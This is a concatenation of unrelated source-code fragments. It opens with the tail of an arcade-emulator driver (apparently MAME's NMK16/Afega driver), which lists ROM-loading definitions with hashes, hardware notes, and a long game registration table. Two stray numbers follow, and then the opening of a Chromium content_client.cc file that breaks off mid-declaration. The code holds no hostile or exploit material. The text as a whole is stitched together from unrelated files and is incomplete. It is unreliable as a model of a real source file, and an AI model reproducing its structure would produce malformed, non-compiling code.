62256| | | |12MHz 62256 68000 62256 62256| |------------------------------------------------| Notes: 68000 clock: 12.000MHz Z80 clock: 4.000MHz 6295 clocks: 1.000MHz (both), sample rate = 1000000 / 132 (both) VSync: 56Hz ***************************************************************************/ ROM_START( firehawk ) ROM_REGION( 0x100000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "fhawk_p1.u59", 0x00001, 0x80000, CRC(d6d71a50) SHA1(e947720a0600d049b7ea9486442e1ba5582536c2) ) ROM_LOAD16_BYTE( "fhawk_p2.u60", 0x00000, 0x80000, CRC(9f35d245) SHA1(5a22146f16bff7db924550970ed2a3048bc3edab) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "fhawk_s1.u40", 0x00000, 0x20000, CRC(c6609c39) SHA1(fe9b5f6c3ab42c48cb493fecb1181901efabdb58) ) ROM_REGION( 0x200000, "sprites",0 ) // Sprites, 16x16x4 ROM_LOAD( "fhawk_g3.uc2", 0x00000, 0x200000, CRC(cae72ff4) SHA1(7dca7164015228ea039deffd234778d0133971ab) ) ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "fhawk_g1.uc6", 0x000000, 0x200000, CRC(2ab0b06b) SHA1(25362f6a517f188c62bac28b1a7b7b49622b1518) ) ROM_LOAD( "fhawk_g2.uc5", 0x200000, 0x200000, CRC(d11bfa20) SHA1(15142004ab49f7f1e666098211dff0835c61df8d) ) ROM_REGION( 0x00100, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 // Unused ROM_REGION( 0x040000, "oki1", 0 ) // Samples ROM_LOAD( "fhawk_s2.u36", 0x00000, 0x40000, CRC(d16aaaad) SHA1(96ca173ca433164ed0ae51b41b42343bd3cfb5fe) ) ROM_REGION( 0x040000, "oki2", 0 ) // Samples ROM_LOAD( "fhawk_s3.u41", 0x00000, 0x40000, CRC(3fdcfac2) SHA1(c331f2ea6fd682cfb00f73f9a5b995408eaab5cf) ) ROM_END ROM_START( firehawkv ) ROM_REGION( 0x100000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "fire_hawk_cn1.u53", 0x00001, 0x80000, CRC(c09db3ec) SHA1(5beab9f837d8821fea1ceeac1be01c2c3ceaabf2) ) ROM_LOAD16_BYTE( "fire_hawk_cn2.u59", 0x00000, 0x80000, CRC(68b0737c) SHA1(d8eac5b0f4023556f39ffb187f6d75270a5b782f) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "fhawk_s1.u38", 0x00000, 0x20000, CRC(c6609c39) SHA1(fe9b5f6c3ab42c48cb493fecb1181901efabdb58) ) ROM_REGION( 0x400000, "sprites",0 ) // Sprites, 16x16x4 ROM_LOAD( "rom.uc1", 0x000000, 0x200000, NO_DUMP ) // for vertical mode, missing ROM_LOAD( "fhawk_g3.uc2", 0x200000, 0x200000, BAD_DUMP CRC(cae72ff4) SHA1(7dca7164015228ea039deffd234778d0133971ab) ) // for horizontal mode, taken from above ROM_REGION( 0x800000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "rom.uc3", 0x000000, 0x200000, NO_DUMP ) // for vertical mode, missing ROM_LOAD( "rom.uc4", 0x400000, 0x200000, NO_DUMP ) // for vertical mode, missing ROM_LOAD( "fhawk_g1.uc6", 0x200000, 0x200000, BAD_DUMP CRC(2ab0b06b) SHA1(25362f6a517f188c62bac28b1a7b7b49622b1518) ) // for horizontal mode, taken from above ROM_LOAD( "fhawk_g2.uc5", 0x600000, 0x200000, BAD_DUMP CRC(d11bfa20) SHA1(15142004ab49f7f1e666098211dff0835c61df8d) ) // for horizontal mode, taken from above ROM_REGION( 0x00100, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 // Unused ROM_REGION( 0x040000, "oki1", 0 ) // Samples ROM_LOAD( "fhawk_s2.u36", 0x00000, 0x40000, CRC(d16aaaad) SHA1(96ca173ca433164ed0ae51b41b42343bd3cfb5fe) ) ROM_REGION( 0x040000, "oki2", 0 ) // Samples ROM_LOAD( "fhawk_s3.u41", 0x00000, 0x40000, CRC(3fdcfac2) SHA1(c331f2ea6fd682cfb00f73f9a5b995408eaab5cf) ) ROM_END /*************************************************************************** Spectrum 2000 (c) 2000 YONA Tech CPU: 68HC000FN10 (68000, 68 pin PLCC) Sound: Z84C000FEC (Z80, 44 pin PQFP) AD-65 x 2 rebadged OKI M6295 OSC: 12.000MHz & 4.000MHz RAM: IS61C256AH-20N x 6, HT6116-70 x 7, UM6164DK-12 X 2 Dips: 2 x 8 position Other: 208 pin PQFP labeled YONA Tech 2000 K (silkscreened on the PCB as LTC1) GAL16V8B (not dumped) +-----------------------------------------------------+ | 6116 4MHz AD-65 2.U101 29F1610.UC1 | |VOL 1.U103 AD-65 3.U106 | | Z80 61C256 | +-+ 6116 61C256 | | SW1 SW2 6116 61C256 | +-+ 61C256 | | | |J +--------+ | |A | YONA | | |M | Tech | | |M 61C256 61C256 | 2000 K | | |A 5.U124 6.U120 GAL | | | | +-------+ +--------+ 6116 | +-+ |MC68000| 6116 | | | FN10 | 6164 | +-+ | | 6164 29F1610.UC2 | | +-------+ 29F1610.UC3 | | 6116 12MHz| | 6116 4.U3 | +-----------------------------------------------------+ ROMs YONATech1 is a TMS27C512 YONATech3 is a MX27C4000 YONATech2 & YONATech4 are TMS27C010A YONATech5 & YONATech6 are TMS27C020 UC1, UC2 & UC3 are all Micronix MX29F1610ML 16Mb Flash ROMs UC1, UC2 & UC3 have solder pads for both MX29F1610 Flash & 27C160 EPROMs ***************************************************************************/ void afega_state::init_spec2k() { decryptcode( machine(), 23, 22, 21, 20, 19, 18, 17, 13, 14, 15, 16, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 ); } ROM_START( spec2kh ) ROM_REGION( 0x100000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "yonatech5.u124", 0x00000, 0x40000, CRC(72ab5c05) SHA1(182a811982b89b8cda0677547ef0625c274f5c6b) ) ROM_LOAD16_BYTE( "yonatech6.u120", 0x00001, 0x40000, CRC(7e44bd9c) SHA1(da59685be14a09ec037743fcec34fb293f7d588d) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "yonatech1.u103", 0x00000, 0x10000, CRC(ef5acda7) SHA1(e55b36a1598ecbbbad984997d61599dfa3958f60) ) ROM_REGION( 0x200000, "sprites",0 ) // Sprites, 16x16x4 ROM_LOAD( "u154.bin", 0x00000, 0x200000, CRC(f77b764e) SHA1(37e249bd4d7174c5232261880ce8debf42723716) ) // UC1 MX29F1610ML Flash ROM ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "u153.bin", 0x000000, 0x200000, CRC(a00bbf8f) SHA1(622f52ef50d52cdd5e6b250d68439caae5c13404) ) // UC2 MX29F1610ML Flash ROM ROM_LOAD( "u152.bin", 0x200000, 0x200000, CRC(f6423fab) SHA1(253e0791eb58efa1df42e9c74d397e6e65c8c252) ) // UC3 MX29F1610ML Flash ROM ROM_REGION( 0x20000, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 ROM_LOAD( "yonatech4.u3", 0x00000, 0x20000, CRC(5626b08e) SHA1(63207ed6b4fc8684690bf3fe1991a4f3babd73e8) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "yonatech2.u101", 0x00000, 0x20000, CRC(4160f172) SHA1(0478a5a4bbba115e6cfb5501aa55aa2836c963bf) ) ROM_REGION( 0x080000, "oki2", 0 ) // Samples ROM_LOAD( "yonatech3.u106", 0x00000, 0x80000, CRC(6644c404) SHA1(b7ad3f9f08971432d024ef8be3fa3140f0bbae67) ) ROM_END ROM_START( spec2k ) ROM_REGION( 0x100000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "u124", 0x00000, 0x40000, CRC(dbd6f65d) SHA1(0fad9836689fcbee60904ccad59a2a5be09f3139) ) ROM_LOAD16_BYTE( "u120", 0x00001, 0x40000, CRC(be53e243) SHA1(38144b90a35ba144921824a0c4f133339e07f9a1) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "u103", 0x00000, 0x10000, CRC(f4e4fb10) SHA1(d19953d37e31fc753b50f0047d5be16f1f2daf09) ) ROM_REGION( 0x200000, "sprites",0 ) // Sprites, 16x16x4 ROM_LOAD( "uc1", 0x00000, 0x200000, CRC(3139a213) SHA1(5ec4be0e27cbf1c4556ab10d7e1408ea64aa9e17) ) ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "uc3", 0x000000, 0x200000, CRC(1d087122) SHA1(9e82c5f26c1387c6006cbd9248b333921388146c) ) ROM_LOAD( "uc2", 0x200000, 0x200000, CRC(998dc05c) SHA1(cadf8bb0b8944372fbce9934b93684749ebc3ba0) ) ROM_REGION( 0x20000, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 ROM_LOAD( "u3", 0x00000, 0x20000, CRC(921503b8) SHA1(dea6e9d47c9db83e79907bc0609a64176aff26bc) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "u101", 0x00000, 0x40000, CRC(d16aaaad) SHA1(96ca173ca433164ed0ae51b41b42343bd3cfb5fe) ) ROM_REGION( 0x080000, "oki2", 0 ) // Samples ROM_LOAD( "u106", 0x00000, 0x80000, CRC(65d61f3a) SHA1(a8f7ad61ae29a5c852820e5cbe886a8cd437634a) ) ROM_END /*************************************************************************** 1995, Afega 1x TMP68000P-10 (main) 1x GOLDSTAR Z8400A (sound) 1x AD-65 (equivalent to OKI6295) 1x LATTICE pLSI 1032 60LJ A428A48 1x oscillator 8.000MHz 1x oscillator 12.000MHz 1x 27256 (SU6) 1x 27C010 (SU12) 1x 27C020 (SU13) 2x 27c4001 (UB11, UB13) 3x 27C010 (UJ11, UJ12, UJ13) 1x 27C4001 (UI20) 1x JAMMA edge connector 1x trimmer (volume) ***************************************************************************/ ROM_START( twinactn ) ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "afega.uj13", 0x00000, 0x20000, CRC(9187701d) SHA1(1da8d1e3969f60c7b0521cd22c723cb51619df9d) ) ROM_LOAD16_BYTE( "afega.uj12", 0x00001, 0x20000, CRC(fe8cff9c) SHA1(a1a04deff9e2cb54c69601898cf4e5133c2bc437) ) ROM_REGION( 0x8000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "afega.su6", 0x0000, 0x8000, CRC(3a52dc88) SHA1(87941987d34d93df6df9ff33ccfbd1f5d4a39c51) ) // 1111xxxxxxxxxxx = 0x00 ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "afega.ub11", 0x00000, 0x80000, CRC(287f20d8) SHA1(11faa36b97593c0b5cee70343750ae1ecd2f5b71) ) ROM_LOAD16_BYTE( "afega.ub13", 0x00001, 0x80000, CRC(f525f819) SHA1(78ffcb709a3a900d3851392630a11ab58fc0bc75) ) ROM_REGION( 0x80000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega.ui20", 0x00000, 0x80000, CRC(237c8f92) SHA1(bb3131b450bd78d03b789626a465fb9e7a4604a7) ) ROM_REGION( 0x20000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "afega.uj11", 0x00000, 0x20000, CRC(3f439e92) SHA1(27e5b1b0aa3b13fa35e3f83793037314b2942aa2) ) ROM_REGION( 0x80000, "oki1", 0 ) // Samples ROM_LOAD( "afega.su12", 0x000000, 0x20000, CRC(91d665f3) SHA1(10b5b07ed28ea78b6d3493afc03e003a8468c007) ) ROM_RELOAD( 0x020000, 0x20000 ) ROM_LOAD( "afega.su13", 0x040000, 0x40000, CRC(30e1c306) SHA1(c859f11fd329793b11e96264e91c79a557b488a4) ) ROM_END /*************************************************************************** Game Drivers ***************************************************************************/ GAME( 1989, tharrier, 0, tharrier, tharrier, nmk16_state, init_tharrier, ROT270, "UPL", "Task Force Harrier", 0 ) GAME( 1989, tharrieru, tharrier, tharrier, tharrier, nmk16_state, init_tharrier, ROT270, "UPL (American Sammy license)", "Task Force Harrier (US)", 0 ) // US version but no regional notice GAME( 1990, mustang, 0, mustang, mustang, nmk16_state, empty_init, ROT0, "UPL", "US AAF Mustang (25th May. 1990)", 0 ) GAME( 1990, mustangs, mustang, mustang, mustang, nmk16_state, empty_init, ROT0, "UPL (Seoul Trading license)", "US AAF Mustang (25th May. 1990 / Seoul Trading)", 0 ) GAME( 1990, bioship, 0, bioship, bioship, nmk16_state, empty_init, ROT0, "UPL (American Sammy license)", "Bio-ship Paladin", 0 ) // US version but no regional notice GAME( 1990, sbsgomo, bioship, bioship, bioship, nmk16_state, empty_init, ROT0, "UPL", "Space Battle Ship Gomorrah", 0 ) GAME( 1990, vandyke, 0, vandyke, vandyke, nmk16_state, empty_init, ROT270, "UPL", "Vandyke (Japan)", 0 ) GAME( 1990, vandykejal, vandyke, vandyke, vandyke, nmk16_state, empty_init, ROT270, "UPL (Jaleco license)", "Vandyke (Jaleco, set 1)", 0 ) GAME( 1990, vandykejal2,vandyke, vandyke, vandyke, nmk16_state, empty_init, ROT270, "UPL (Jaleco license)", "Vandyke (Jaleco, set 2)", 0 ) GAME( 1990, vandykeb, vandyke, vandykeb, vandykeb, nmk16_state, init_vandykeb, ROT270, "bootleg", "Vandyke (bootleg with PIC16c57)", MACHINE_NO_SOUND ) GAME( 1991, blkheart, 0, blkheart, blkheart, nmk16_state, empty_init, ROT0, "UPL", "Black Heart", 0 ) GAME( 1991, blkheartj, blkheart, blkheart, blkheart, nmk16_state, empty_init, ROT0, "UPL", "Black Heart (Japan)", 0 ) GAME( 1991, acrobatm, 0, acrobatm, acrobatm, nmk16_state, empty_init, ROT270, "UPL (Taito license)", "Acrobat Mission", 0 ) GAME( 1992, strahl, 0, strahl, strahl, nmk16_state, empty_init, ROT0, "UPL", "Koutetsu Yousai Strahl (World)", 0 ) GAME( 1992, strahlj, strahl, strahl, strahl, nmk16_state, empty_init, ROT0, "UPL", "Koutetsu Yousai Strahl (Japan set 1)", 0 ) GAME( 1992, strahlja, strahl, strahl, strahl, nmk16_state, empty_init, ROT0, "UPL", "Koutetsu Yousai Strahl (Japan set 2)", 0 ) GAME( 1991, tdragon, 0, tdragon, tdragon, nmk16_state, empty_init, ROT270, "NMK (Tecmo license)", "Thunder Dragon (8th Jan. 1992, unprotected)", 0 ) GAME( 1991, tdragon1, tdragon, tdragon_prot, tdragon_prot, nmk16_state, init_tdragon_prot, ROT270, "NMK (Tecmo license)", "Thunder Dragon (4th Jun. 1991, protected)", MACHINE_UNEMULATED_PROTECTION | MACHINE_NO_SOUND ) GAME( 1991, hachamf, 0, hachamf_prot, hachamf_prot, nmk16_state, init_hachamf_prot, ROT0, "NMK", "Hacha Mecha Fighter (19th Sep. 1991, protected, set 1)", MACHINE_UNEMULATED_PROTECTION | MACHINE_NO_SOUND ) // lots of things wrong due to protection GAME( 1991, hachamfa, hachamf, hachamf_prot, hachamf_prot, nmk16_state, init_hachamf_prot, ROT0, "NMK", "Hacha Mecha Fighter (19th Sep. 1991, protected, set 2)", MACHINE_UNEMULATED_PROTECTION | MACHINE_NO_SOUND ) // lots of things wrong due to protection GAME( 1991, hachamfb, hachamf, hachamf, hachamfb, nmk16_state, empty_init, ROT0, "bootleg", "Hacha Mecha Fighter (19th Sep. 1991, unprotected, bootleg Thunder Dragon conversion)", 0 ) // appears to be a Thunder Dragon conversion, could be bootleg? GAME( 1991, hachamfp, hachamf, hachamf, hachamfp, nmk16_state, empty_init, ROT0, "NMK", "Hacha Mecha Fighter (Location Test Prototype, 19th Sep. 1991)", 0 ) // Prototype with hand-written labels showing dates of 9/9, 9/13, 9/24, 9/25. The ROM contains the same 19th Sep. 1991 build string as all the prior releases, so that string was likely never updated in later builds. GAME( 1992, macross, 0, macross, macross, nmk16_state, init_nmk, ROT270, "Banpresto", "Super Spacefortress Macross / Chou-Jikuu Yousai Macross", 0 ) GAME( 1993, gunnail, 0, gunnail, gunnail, nmk16_state, init_nmk, ROT270, "NMK / Tecmo", "GunNail (28th May. 1992)", 0 ) // Tecmo is displayed only when set to Japan GAME( 1992, gunnailp, gunnail, gunnail, gunnail, nmk16_state, init_nmk, ROT270, "NMK", "GunNail (location test)", 0 ) // still has the 28th May. 1992 string, so unlikely that was the release date for either version. // a 1992 version of Gunnail exists, see https://www.youtube.com/watch?v=tf15Wz0zUiA 3:10; is this bootleg version 'gunnailb'? GAME( 1993, macross2, 0, macross2, macross2, nmk16_state, init_banked_audiocpu, ROT0, "Banpresto", "Super Spacefortress Macross II / Chou-Jikuu Yousai Macross II", MACHINE_NO_COCKTAIL ) GAME( 1993, macross2g, macross2, macross2, macross2, nmk16_state, init_banked_audiocpu, ROT0, "Banpresto", "Super Spacefortress Macross II / Chou-Jikuu Yousai Macross II (Gamest review build)", MACHINE_NO_COCKTAIL ) // Service switch pauses game GAME( 1993, macross2k, macross2, macross2, macross2, nmk16_state, init_banked_audiocpu, ROT0, "Banpresto", "Macross II (Korea)", MACHINE_NO_COCKTAIL ) // Title screen only shows Macross II GAME( 1993, tdragon2, 0, tdragon2, tdragon2, nmk16_state, init_banked_audiocpu, ROT270, "NMK", "Thunder Dragon 2 (9th Nov. 1993)", MACHINE_NO_COCKTAIL ) GAME( 1993, tdragon2a, tdragon2, tdragon2, tdragon2, nmk16_state, init_banked_audiocpu, ROT270, "NMK", "Thunder Dragon 2 (1st Oct. 1993)", MACHINE_NO_COCKTAIL ) GAME( 1993, bigbang, tdragon2, tdragon2, tdragon2, nmk16_state, init_banked_audiocpu, ROT270, "NMK", "Big Bang (9th Nov. 1993)", MACHINE_NO_COCKTAIL ) GAME( 1996, tdragon3h, tdragon2, tdragon3h, tdragon2, nmk16_state, init_banked_audiocpu, ROT270, "bootleg (Conny Co Ltd.)", "Thunder Dragon 3 (bootleg of Thunder Dragon 2)", MACHINE_NO_SOUND | MACHINE_NO_COCKTAIL ) // based on 1st Oct. 1993 set, needs emulation of the mechanism used to simulate the missing YM2203' IRQs GAME( 1994, arcadian, 0, raphero, raphero, nmk16_state, init_banked_audiocpu, ROT270, "NMK", "Arcadia (NMK)", 0 ) // 23rd July 1993 in test mode, (c)1994 on title screen GAME( 1994, raphero, arcadian, raphero, raphero, nmk16_state, init_banked_audiocpu, ROT270, "NMK", "Rapid Hero (NMK)", 0 ) // ^^ GAME( 1994, rapheroa, arcadian, raphero, raphero, nmk16_state, init_banked_audiocpu, ROT270, "NMK (Media Trading license)", "Rapid Hero (Media Trading)", 0 ) // ^^ - note that all ROM sets have Media Trading(aka Media Shoji) in the tile graphics, but this is the only set that shows it on the titlescreen // both sets of both these games show a date of 9th Mar 1992 in the test mode, they look like different revisions so I doubt this is accurate GAME( 1992, sabotenb, 0, bjtwin, sabotenb, nmk16_state, init_nmk, ROT0, "NMK / Tecmo", "Saboten Bombers (set 1)", MACHINE_NO_COCKTAIL ) GAME( 1992, sabotenba, sabotenb, bjtwin, sabotenb, nmk16_state, init_nmk, ROT0, "NMK / Tecmo", "Saboten Bombers (set 2)", MACHINE_NO_COCKTAIL ) GAME( 1992, cactus, sabotenb, bjtwin, sabotenb, nmk16_state, init_nmk, ROT0, "bootleg", "Cactus (bootleg of Saboten Bombers)", MACHINE_NO_COCKTAIL ) // PCB marked 'Cactus', no title screen GAME( 1993, bjtwin, 0, bjtwin, bjtwin, nmk16_state, init_bjtwin, ROT270, "NMK", "Bombjack Twin (set 1)", MACHINE_NO_COCKTAIL ) GAME( 1993, bjtwina, bjtwin, bjtwin, bjtwin, nmk16_state, init_bjtwin, ROT270, "NMK", "Bombjack Twin (set 2)", MACHINE_NO_COCKTAIL ) GAME( 1993, bjtwinp, bjtwin, bjtwin, bjtwin, nmk16_state, empty_init, ROT270, "NMK", "Bombjack Twin (prototype? with adult pictures, set 1)", MACHINE_NO_COCKTAIL ) // Cheap looking PCB, but Genuine NMK PCB, GFX aren't encrypted (maybe Korean version not proto?) GAME( 1993, bjtwinpa, bjtwin, bjtwin, bjtwin, nmk16_state, init_bjtwin, ROT270, "NMK", "Bombjack Twin (prototype? with adult pictures, set 2)", MACHINE_NO_COCKTAIL ) // same PCB as above, different program revision, GFX are encrypted GAME( 1995, nouryoku, 0, bjtwin, nouryoku, nmk16_state, init_nmk, ROT0, "Tecmo", "Nouryoku Koujou Iinkai", MACHINE_NO_COCKTAIL ) GAME( 1995, nouryokup, nouryoku, bjtwin, nouryoku, nmk16_state, empty_init, ROT0, "Tecmo", "Nouryoku Koujou Iinkai (prototype)", MACHINE_NO_COCKTAIL ) // GFX aren't encrypted // Non NMK boards // bee-oh board - different display / interrupt timing to others? GAME( 1991, manybloc, 0, manybloc, manybloc, nmk16_state, init_tharrier, ROT270, "Bee-Oh", "Many Block", MACHINE_NO_COCKTAIL | MACHINE_IMPERFECT_SOUND ) // clone board, different sound / bg hardware, but similar memory maps, same tx layer, sprites etc. GAME( 1997, tomagic, 0, tomagic, tomagic, nmk16_tomagic_state, init_tomagic, ROT0, "Hobbitron T.K.Trading Co. Ltd.", "Tom Tom Magic", 0 ) // these use the Seibu sound system (sound / music stolen from Raiden) rather than the bootleggers copying the nmk004 GAME( 1990, mustangb, mustang, mustangb, mustang, nmk16_state, empty_init, ROT0, "bootleg", "US AAF Mustang (bootleg, set 1)", 0 ) GAME( 1990, mustangb2, mustang, mustangb, mustang, nmk16_state, empty_init, ROT0, "bootleg (TAB Austria)", "US AAF Mustang (TAB Austria bootleg)", 0 ) // PCB and ROMs have TAB Austria stickers GAME( 1991, tdragonb, tdragon, tdragonb, tdragonb, nmk16_state, init_tdragonb, ROT270, "bootleg", "Thunder Dragon (bootleg, set 1)", 0 ) GAME( 1992, strahljbl, strahl, strahljbl, strahljbl, nmk16_state, empty_init, ROT0, "bootleg", "Koutetsu Yousai Strahl (Japan, bootleg)", 0 ) // these are bootlegs with tharrier like sound hw GAME( 1990, mustangb3, mustang, mustangb3, mustang, nmk16_state, empty_init, ROT0, "bootleg (Lettering)", "US AAF Mustang (Lettering bootleg)", 0 ) GAME( 1989, tharrierb, tharrier, tharrier, tharrier, nmk16_state, init_tharrier, ROT270, "bootleg (Lettering)", "Task Force Harrier (Lettering bootleg)", 0 ) // bootleg with no audio CPU and only 1 Oki GAME( 1991, tdragonb2, tdragon, tdragonb2, tdragon, nmk16_state, empty_init, ROT270, "bootleg", "Thunder Dragon (bootleg, set 2)", MACHINE_NOT_WORKING ) // GFX and input problems. IRQs related? // bootleg with cloned airbustr sound hardware GAME( 1992, gunnailb, gunnail, gunnailb, gunnail, nmk16_state, init_gunnailb, ROT270, "bootleg", "GunNail (bootleg)", MACHINE_IMPERFECT_SOUND ) // crappy sound, unknown how much of it is incomplete emulation and how much bootleg quality // these are from Comad, based on the Thunder Dragon code? GAME( 1992, ssmissin, 0, ssmissin, ssmissin, nmk16_state, init_ssmissin, ROT270, "Comad", "S.S. Mission", MACHINE_NO_COCKTAIL ) GAME( 1996, airattck, 0, ssmissin, airattck, nmk16_state, init_ssmissin, ROT270, "Comad", "Air Attack (set 1)", MACHINE_NO_COCKTAIL ) GAME( 1996, airattcka, airattck, ssmissin, airattck, nmk16_state, init_ssmissin, ROT270, "Comad", "Air Attack (set 2)", MACHINE_NO_COCKTAIL ) // afega & clones GAME( 1995, twinactn, 0, twinactn, twinactn, nmk16_state, init_twinactn, ROT0, "Afega", "Twin Action", 0 ) // hacked from USSAF Mustang GAME( 1995, dolmen, 0, twinactn, dolmen, nmk16_state, init_twinactn, ROT0, "Afega", "Dolmen", 0 ) GAME( 1998, stagger1, 0, stagger1, stagger1, afega_state, empty_init, ROT270, "Afega", "Stagger I (Japan)", 0 ) GAME( 1997, redhawk, stagger1, stagger1, stagger1, afega_state, init_redhawk, ROT270, "Afega (New Vision Ent. license)", "Red Hawk (USA, Canada & South America)", 0 ) GAME( 1997, redhawki, stagger1, redhawki, stagger1, afega_state, init_redhawki, ROT0, "Afega (Hae Dong Corp license)", "Red Hawk (horizontal, Italy)", 0 ) // bootleg? strange scroll regs GAME( 1997, redhawks, stagger1, redhawki, stagger1, afega_state, empty_init, ROT0, "Afega (Hae Dong Corp license)", "Red Hawk (horizontal, Spain)", 0 ) GAME( 1997, redhawkg, stagger1, redhawki, stagger1, afega_state, init_redhawkg, ROT0, "Afega", "Red Hawk (horizontal, Greece)", 0 ) GAME( 1997, redhawke, stagger1, stagger1, stagger1, afega_state, empty_init, ROT270, "Afega (Excellent Co. license)", "Red Hawk (Excellent Co., Ltd)", 0 ) // earlier revision? different afega logo and score and credit number fonts compared to other sets GAME( 1997, redhawkk, stagger1, stagger1, stagger1, afega_state, empty_init, ROT270, "Afega", "Red Hawk (Korea)", 0 ) GAME( 1997, redhawkb, stagger1, redhawkb, redhawkb, afega_state, empty_init, ROT0, "bootleg (Vince)", "Red Hawk (horizontal, bootleg)", 0 ) GAME( 1998, grdnstrm, 0, grdnstrm, grdnstrm, afega_state, empty_init, ORIENTATION_FLIP_Y, "Afega (Apples Industries license)", "Guardian Storm (horizontal, not encrypted)", 0 ) GAME( 1998, grdnstrmv, grdnstrm, grdnstrmk, grdnstrk, afega_state, init_grdnstrm, ROT270, "Afega (Apples Industries license)", "Guardian Storm (vertical)", 0 ) GAME( 1998, grdnstrmj, grdnstrm, grdnstrmk, grdnstrk, afega_state, init_grdnstrmg, ROT270, "Afega", "Sen Jing - Guardian Storm (Japan)", 0 ) GAME( 1998, grdnstrmk, grdnstrm, grdnstrmk, grdnstrk, afega_state, init_grdnstrm, ROT270, "Afega", "Jeon Sin - Guardian Storm (Korea)", 0 ) GAME( 1998, redfoxwp2, grdnstrm, grdnstrmk, grdnstrk, afega_state, init_grdnstrm, ROT270, "Afega", "Hong Hu Zhanji II (China, set 1)", 0 ) GAME( 1998, redfoxwp2a, grdnstrm, grdnstrmk, grdnstrk, afega_state, init_redfoxwp2a, ROT270, "Afega", "Hong Hu Zhanji II (China, set 2)", 0 ) GAME( 1998, grdnstrmg, grdnstrm, grdnstrmk, grdnstrk, afega_state, init_grdnstrmg, ROT270, "Afega", "Guardian Storm (Germany)", 0 ) GAME( 1998, grdnstrmau, grdnstrm, grdnstrm, grdnstrm, afega_state, init_grdnstrmau, ORIENTATION_FLIP_Y, "Afega", "Guardian Storm (horizontal, Australia)", 0 ) // is there a 'bubble 2000' / 'hot bubble' version with Afega copyright, or is the only Afega release dolmen above, this seems like a sequel, not a clone? GAME( 1998, bubl2000, 0, popspops, bubl2000, afega_state, init_bubl2000, ROT0, "Afega (Tuning license)", "Bubble 2000", 0 ) // on a tuning board - Has a Demo Sound DSW GAME( 1998, bubl2000a, bubl2000, popspops, bubl2000a, afega_state, init_bubl2000, ROT0, "Afega (Tuning license)", "Bubble 2000 V1.2", 0 ) // on a tuning board - No Demo Sounds GAME( 1998, hotbubl, bubl2000, popspops, bubl2000, afega_state, init_bubl2000, ROT0, "Afega (Pandora license)", "Hot Bubble (Korea, with adult pictures)", 0 ) // on an afega board .. GAME( 1998, hotbubla, bubl2000, popspops, bubl2000, afega_state, init_bubl2000, ROT0, "Afega (Pandora license)", "Hot Bubble (Korea)", 0 ) // on an afega board .. GAME( 1999, popspops, 0, popspops, popspops, afega_state, init_grdnstrm, ROT0, "Afega", "Pop's Pop's", 0 ) GAME( 2000, mangchi, 0, popspops, mangchi, afega_state, init_bubl2000, ROT0, "Afega", "Mang-Chi", 0 ) // these two are very similar games, but the exact parent/clone relationship is unknown GAME( 2000, spec2k, 0, spec2k, spec2k, afega_state, init_spec2k, ROT270, "Yona Tech", "Spectrum 2000 (vertical, Korea)", MACHINE_IMPERFECT_GRAPHICS ) // the ships sometimes scroll off the screen if you insert a coin during the attract demo? verify it doesn't happen on real hw(!) GAME( 2000, spec2kh, spec2k, spec2k, spec2k, afega_state, init_spec2k, ORIENTATION_FLIP_Y, "Yona Tech", "Spectrum 2000 (horizontal, buggy) (Europe)", 0 ) // this has odd bugs even on real hardware, eg glitchy 3 step destruction sequence of some larger enemies GAME( 2001, firehawk, spec2k, firehawk, firehawk, afega_state, empty_init, ORIENTATION_FLIP_Y, "ESD", "Fire Hawk (World) / Huohu Chuanshuo (China) (horizontal)", 0 ) GAME( 2001, firehawkv, spec2k, firehawk, firehawkv, afega_state, empty_init, ORIENTATION_FLIP_Y, "ESD", "Fire Hawk (World) / Huohu Chuanshuo (China) (switchable orientation)", MACHINE_NOT_WORKING ) // incomplete dump, vertical mode gfx not dumped
445,525
264,892
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "content/public/common/content_client.h" #include "base/logging.h" #include "base/strings/string_piece.h" #include "build/build_config.h" #include "content/public/common/origin_util.h" #include "content/public/common/user_agent.h" #include "ui/gfx/image/image.h" namespace content { static ContentClient* g_client; class InternalTestInitializer { public: static ContentBrowserClient* SetBrowser(ContentBrowserClient* b) { ContentBrowserClient* rv = g_client->browser_; g_client->browser_ = b; return rv; } static ContentRendererClient* SetRenderer(ContentRendererClient* r) { ContentRendererClient* rv = g_client->renderer_; g_client->renderer_ = r; return rv; } static ContentUtilityClient* SetUtility(ContentUtilityClient* u) { ContentUtilityClient* rv = g_client->utility_; g_client->utility_ = u; return rv; } }; void SetContentClient(ContentClient* client) { g_client = client; // TODO(jam): find out which static on Windows is causing this to have to be // called on startup. if (client) client->GetUserAgent(); } ContentClient* GetContentClient() { return g_client; } ContentBrowserClient* SetBrowserClientForTesting(ContentBrowserClient* b) { return InternalTestInitializer::SetBrowser(b); } ContentRendererClient* 